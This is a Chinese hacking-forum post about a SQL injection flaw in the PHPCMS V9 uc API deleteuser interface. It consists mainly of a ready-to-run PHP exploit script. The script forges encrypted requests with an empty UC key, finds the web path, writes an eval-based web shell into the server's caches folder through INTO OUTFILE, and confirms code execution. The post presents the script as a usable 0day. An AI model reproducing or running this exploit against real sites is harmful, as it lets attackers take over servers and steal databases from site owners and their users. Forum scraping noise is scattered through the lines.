找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1998|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。! }% ^+ [6 n; c& |* Y# _- ?
- F. ?1 a6 D( @1 D" s+ S: s
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
, i5 ^3 c1 |- M% p. I; M) x/ K$ _* Y  n9 ]8 u1 u. }
漏洞分析:
" L% ]8 H$ v* t1.未启用ucenter服务的情况下uc_key为空; M" R" K' ]6 F& b
define('UC_KEY', pc_base::load_config('system', 'uc_key'));
4 z7 C+ v; c  [* q' b2 T' V3 L2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。3 j. H- X7 Q. @* e" L, `& [" {
    public function deleteuser($get,$post) {8 H8 b% C+ T; i& K: Q* F+ A
        pc_base::load_app_func('global', 'admin');
* E9 N: r: |$ m; S8 u. m! ^; X5 z. ?        pc_base::load_app_class('messagequeue', 'admin' , 0);
5 h' U, s, P. U4 z8 {        $ids = new_stripslashes($get['ids']);# c) z1 B2 y! X
        $s = $this->member_db->select("ucuserid in ($ids)", "uid");
7 ]0 w' w1 [/ p( L: m: D! uSQL语句为
0 V& M  x: w# n4 E6 B1 X. c, L& TSELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
5 ?+ ^; i9 e9 N( r- w  g
9 h# Z3 f9 y+ x利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
! V4 H3 I- ^( E( {<?php  F+ u2 y4 [6 h" r% V) y/ X+ p
print_r('
1 u6 [' ~+ W  `. {& N---------------------------------------------------------------------------
: |2 @* \1 Q# ]9 q0 w; [PHPcms (v9 or Old Version) uc api sql injection 0day( c4 h# b. l5 A# N; R% i
by rayh4c#80sec.com
. ^  |3 Z$ H1 \0 `% S! y: W# p, y) V---------------------------------------------------------------------------" ~! ?0 l" y' R/ x( _6 y
');
: a" C+ }* j( g. n, G5 G3 h# m: V8 l. e# a) p7 w
if ($argc<3) {
4 n0 q' o$ K  _0 r7 v  p; |    print_r('7 X, q* N; Y" d7 y, l0 f
---------------------------------------------------------------------------- S8 u6 v) q" N/ G- a: R
Usage: php '.$argv[0].' host path OPTIONS" A; y; n- W: n. u7 D, k
host:      target server (ip/hostname)& i& I. ]$ P' I$ A5 g2 w
path:      path to phpcms
6 f8 w" |& Z' j) d- F) }# iOptions:% n  ^8 \! w0 G7 C) B6 f0 A. H
-p[port]:    specify a port other than 80
4 Q8 c; j3 u7 v, Z/ a -P[ip:port]: specify a proxy$ x% R& z. k& u, h3 O
Example:% v4 ]. q2 |8 d* c0 V
php '.$argv[0].' localhost /. {  J1 e/ P3 f5 a& l
php '.$argv[0].' localhost /phpcms/ -p81! ~6 A7 T4 O) u% s& Z
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
) [8 D* D8 z& p0 _# U0 W7 u/ `3 n---------------------------------------------------------------------------3 R$ G( G% x9 N( y
');
+ \; @7 C& w0 Q" u/ r4 H    die;
- S' n* L8 d; A}
1 P' h$ v  b9 K: j
7 h4 |" J9 ?! m; Q& W8 W* e" verror_reporting(7);
" E/ m* j! O, Q6 G' x/ uini_set("max_execution_time",0);9 o6 p; K+ G8 g6 W8 c
ini_set("default_socket_timeout",5);
. a' B( h/ ?5 r. b% t2 i3 v3 _. R" G1 l, ^: X
function quick_dump($string)& n' u& n. }  S% _
{
% e% F4 |. ]: p/ I! z0 @. m  $result='';$exa='';$cont=0;
  l! G1 w  ]. A; O$ t  for ($i=0; $i<=strlen($string)-1; $i++)
4 f1 J. C: A2 }" N* [  {% q' R0 g- v, D) W8 j8 J
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
9 V4 F; j% Y0 x3 {   {$result.="  .";}( y3 |' n: F$ E: c
   else
- m- z- q+ F# _  Y9 ]( X) g6 J9 E   {$result.="  ".$string[$i];}
- \8 L4 v2 Q; x/ ^5 y   if (strlen(dechex(ord($string[$i])))==2)* U- ^. O2 ^' [4 Q% \
   {$exa.=" ".dechex(ord($string[$i]));}
/ B  A! _# z, p5 V$ p# I   else6 |6 T7 [# F$ Y" ~- f- N
   {$exa.=" 0".dechex(ord($string[$i]));}! W6 a; `$ t# H1 G, [$ A8 V
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
; o1 i5 s; x) j$ t2 [3 C' ]  }
2 U/ }: S4 m8 B, l( u( h return $exa."\r\n".$result;' j4 D  c9 t" i: b4 L' y2 I
}6 I3 [8 P6 q- a8 g
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';+ z: Z) I2 I1 C+ o% O

9 R$ l: r7 S  L9 x2 B5 F2 M2 Afunction send($packet)- o$ u9 L, T8 F  N: R& M
{/ Z# k7 y) l1 E' k  I1 E5 N
  global $proxy, $host, $port, $html, $proxy_regex;+ I* ?+ M9 d; T2 w' i+ |# }
  if ($proxy=='') {
( Y) B, |. S& {, R1 ]" Z    $ock=fsockopen(gethostbyname($host),$port);8 _) }# c) {# H# i0 r
    if (!$ock) {# W1 D  G6 x- v; O; N8 @) ]4 R
      echo 'No response from '.$host.':'.$port; die;
/ J" b3 J  {1 G- t& W( H    }0 w9 y" P2 u. O  E0 g
  }* s' M2 Q/ k+ s' M' K2 h
  else {
0 k& m9 d) w/ g* |        $c = preg_match($proxy_regex,$proxy);
& p! o+ f: H: b# Z0 v1 W  M% i    if (!$c) {6 L: u. @+ u8 d8 a: c# `
      echo 'Not a valid proxy...';die;( v4 J0 _" b8 H% ?
    }
+ i0 B: H) }6 _$ r3 |    $parts=explode(':',$proxy);
) B" [; f2 m8 |    $parts[1]=(int)$parts[1];: N/ I7 z+ E" w8 Q
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";. G) |; d( ], R. o9 e# M( o$ M: u' [
    $ock=fsockopen($parts[0],$parts[1]);6 L  E( @- O0 L4 f
    if (!$ock) {
, \7 E' e$ j8 U4 e      echo 'No response from proxy...';die;
3 U" E3 U& y- t" \1 S5 L) P        }
8 U, t) [5 T+ }/ v! x) Q+ ]  }
+ [$ j/ S) g( B% ^" C: }  fputs($ock,$packet);' ^$ Z) {' L2 p% v- d- O/ W
  if ($proxy=='') {
, a7 ]( }  S% I! w' W: l    $html='';2 V& ]/ T8 b4 N
    while (!feof($ock)) {5 X7 U% p& Q( m2 K
      $html.=fgets($ock);. g7 O7 {1 p( c8 ?* Z1 I8 H
    }
0 l5 a7 t# E% [, \7 b7 t& u7 V  }
' I9 d" T9 m0 h3 i% m  else {8 r) ]5 l' i' k6 T6 A
    $html='';3 U3 w8 j% O0 p# R& |& A
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {9 X, @7 i/ o* {, b8 j
      $html.=fread($ock,1);, B8 \) m+ @- q
    }+ S0 l8 T. h; W9 [
  }3 R& ?, X) ~1 ]* \0 D7 v3 W" \7 _5 e3 ^
  fclose($ock);9 Q8 W- y/ J' C5 t0 `. h
}/ ^2 N$ c6 f; a6 l0 I+ L3 o) @# `
6 d! E6 T0 v  I5 x/ T1 m
$host=$argv[1];
1 e. c% E+ m7 M; P$path=$argv[2];4 X+ l* s( P3 q1 v- N' E
$port=80;
) e- Y, D1 @/ `$ S$proxy="";
! q" b2 o% y. G! U5 Q/ F; \for ($i=3; $i<$argc; $i++){. \. t$ A. V  M1 `, c! G
$temp=$argv[$i][0].$argv[$i][1];
& B, K" Y# u7 O5 f& Y& X. {. J4 E% p- \if ($temp=="-p")
9 k  e0 J1 P8 U, O{
& o( o* f3 a  i9 p$ ~, y  $port=(int)str_replace("-p","",$argv[$i]);0 f' a& w6 o. V% b: u' M
}  A# h% Q! r# G4 [
if ($temp=="-P")
" i) t! U- a6 z$ `% ^{9 A8 h& d, v% h. @
  $proxy=str_replace("-P","",$argv[$i]);
, z1 ]1 c) y1 \' G" s# K}
& \% _  R8 j( L; l}
1 P. y% ^1 [0 X+ ?/ }4 \3 Q, o8 a* d6 A
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}' |" W1 ~( p" o& s
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}% c$ S/ \- u3 e
* O7 i- _( ?* h1 U. I) F0 R6 Q) g, j
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {/ w$ S1 W/ t& W& y

4 {) G9 x* @5 f3 }  j0 e! O0 k# c    $ckey_length = 4;' f( [/ N, I! l; I3 x, R

: a( Y( g4 a$ M" e8 Q    $key = md5($key ? $key : '');
( \. v) u+ G+ u2 x* |    $keya = md5(substr($key, 0, 16));
! V" M) J) B! |% g! E    $keyb = md5(substr($key, 16, 16));* I# g: H) V! p& F" s, I  M
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';! c  ^6 c4 E3 b6 A8 m
( `, ]# |$ x. h
    $cryptkey = $keya.md5($keya.$keyc);
% s  ^, }/ T3 r* W    $key_length = strlen($cryptkey);
/ P4 e: z  B/ @" J; y3 _) {  I: x6 J/ K$ \2 S: L* h% H8 L- j
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;- ]* c' q5 {6 u. l3 g1 J* t. V3 `$ V
    $string_length = strlen($string);
+ r6 s  A' g$ j4 y
. t* e5 y4 a2 v( K0 Z. S  g  B% c+ F5 t    $result = '';
/ m; K8 A2 V, ]$ e$ Y! u    $box = range(0, 255);
, f, F, S9 q, W1 n0 \
; W1 }+ b' Y. p- u    $rndkey = array();; g# q% a9 p+ m
    for($i = 0; $i <= 255; $i++) {
/ v. T' n9 O: V& W% i) O4 ^# B/ d        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
& O) o$ M7 M$ Q) l' }+ Y, e8 `    }" p# ?- |6 N2 y  S
' q0 I- }1 J% V! C& p% m) Q
    for($j = $i = 0; $i < 256; $i++) {+ V3 v. ^* |5 z& n4 D& d
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
' L* M8 Q6 {# W2 \! Q        $tmp = $box[$i];3 P7 Y# U5 @+ D. X
        $box[$i] = $box[$j];
( q" A  |, d/ S1 R' S( Z' O6 w        $box[$j] = $tmp;3 K- w8 p2 G" Y% F. [4 G- v
    }
, p) s5 H: H) |- g, ?! L2 Y! w3 a* d; G
    for($a = $j = $i = 0; $i < $string_length; $i++) {, q# w  q9 F- ?/ ^" W; q
        $a = ($a + 1) % 256;
4 u; {4 t! M/ Y  B2 w        $j = ($j + $box[$a]) % 256;* }  b- |- p/ Q4 \
        $tmp = $box[$a];- V+ V9 R/ t6 C& r  k
        $box[$a] = $box[$j];
* f5 j: }4 i& {- u        $box[$j] = $tmp;0 S2 h, P  O8 c" E# S+ t
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));! w- f0 ~( F, B
    }! w9 @% y0 p+ h
0 M& m1 W$ d' I
    if($operation == 'DECODE') {
0 n7 w1 D; X4 k4 Q0 B        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
: H# g' H# f3 B/ n5 p            return substr($result, 26);
( B  d) A, R- o+ R0 i: N+ L  @8 J% d. i0 a        } else {! q9 g. R& B! l3 B/ a" V  o( `  f
            return '';
$ ?# p# ^  Z( ]& j: V. c" A& N        }
7 A5 c$ K3 {9 M/ m% e    } else {
  @; [. Q" @( ^4 J& ?# r$ c; B        return $keyc.str_replace('=', '', base64_encode($result));* Q7 B0 A" r6 e9 p' e
    }
5 {, l1 v: f! o& }* c8 w' l4 q" X
}- e# W* Y7 |0 _) F# m$ ?7 }

  E2 v4 Z; P$ ]( z$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";( A# i" A3 B5 V0 ?+ [: E
$SQL = urlencode(authcode($SQL, "ENCODE", ""));% s0 ^( A  |+ J0 U! p$ j
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
0 ]: A" L/ n! y5 p" Z$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";5 n' l8 c1 V3 }- v
$packet.="User-Agent: Mozilla/5.0\r\n";! S+ V  \6 r0 l! _% |2 G
$packet.="Host: ".$host."\r\n";
# Q0 t- R% T5 L- T0 F$packet.="Connection: Close\r\n\r\n";& U& z+ |( j( W  c$ b0 j1 ]) o. i
send($packet);
" x$ E/ b6 I$ l3 X+ q* p1 @if(strpos($html,"MySQL Errno") > 0){
, j4 Q' O7 z# q/ U2 X! kecho "[2] 发现存在SQL注入漏洞"."\n";7 y' |2 {( l# P" x6 P: i# f
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";. ?: V9 O. Z5 {0 v& l3 v& \
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
6 Z* u6 ^4 _9 K: L6 M$packet.="User-Agent: Mozilla/5.0\r\n";
+ s: _( Q3 O8 _: d! L% \$packet.="Host: ".$host."\r\n";
9 s) s+ q1 a/ c4 F5 T6 i/ p$packet.="Connection: Close\r\n\r\n";. ]) \/ E0 ~0 A
send($packet);6 ?/ J4 I- G% ^) _$ w# a  N
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
, S9 U8 z% l: |6 I- x//print_r($matches);0 m3 w$ O2 f& X' C8 _
if(!empty($matches)){& d# }* ]: D3 J5 b: ~& T
echo "[4] 得到web路径 " . $matches[0]."\n";
; g. _. ?8 t! iecho "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
1 |" K6 b+ g: k$SQL = "time=999999999999999999999999&ids=1)";
( v0 }* D' i; E: }$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
3 K, t* T' m' a+ @$SQL.="&action=deleteuser";
3 \9 Q; Q2 u' I0 Q: V$SQL = urlencode(authcode($SQL, "ENCODE", ""));
' V' C# F  ?6 S+ u, Z: Aecho "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";! L; N- d8 }$ e0 F2 T  u" C
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";) g1 r$ S0 O' Y4 u- O( [0 N
$packet.="User-Agent: Mozilla/5.0\r\n";9 A* M5 C, |( S( J' M; C3 P9 k
$packet.="Host: ".$host."\r\n";$ n, O) r) W4 T, l
$packet.="Connection: Close\r\n\r\n";  ^/ r0 g" m0 H- a% v1 _
send($packet);' K, s( }& Z7 s+ l0 l
if(strpos($html,"Access denied") > 0){) b; g$ \, W0 E8 ?$ Y8 ]
echo "[-] MYSQL权限过低 禁止写入文件 ";
0 Q! X3 s  v- Edie;
4 e+ @6 N! L+ h  @8 u# ^/ Y}; v2 c, b4 @1 G) t
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";( a: H) H* ]0 E+ Q, N6 [
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
# j  X( G% V3 B: Q$packet.="User-Agent: Mozilla/5.0\r\n";
4 m8 R2 p# q/ a: k! J$packet.="Host: ".$host."\r\n";: m1 z$ D( F( |* i
$packet.="Connection: Close\r\n\r\n";
, T8 V; F" g9 x' R% I7 [send($packet);
9 W4 u2 f. s9 n& T/ ~7 P7 H% yif(strpos($html,"<title>phpinfo()</title>") > 0){
) y, j% [% O+ C7 Mecho "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
$ v4 i( X, }* |8 c' E9 D& B}
; m  O, o  q: q2 j4 ?) E, m1 \: }}else{
9 Z" \1 @& x+ T. M3 Oecho "[-]未取到web路径 ";* R, z/ s* S9 \# W2 l* ^1 t5 K
}/ G7 X9 K; B! }5 O6 `
}else{; C. T- v4 \' g# Z7 d
echo "[*]不存在SQL注入漏洞"."\n";2 [& y# K# Z% u
}
4 Y( |' s. J; y  ~
. |2 J6 j2 h! q2 I?>6 a7 G# C9 f! t6 `; {3 r" z) z. A
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表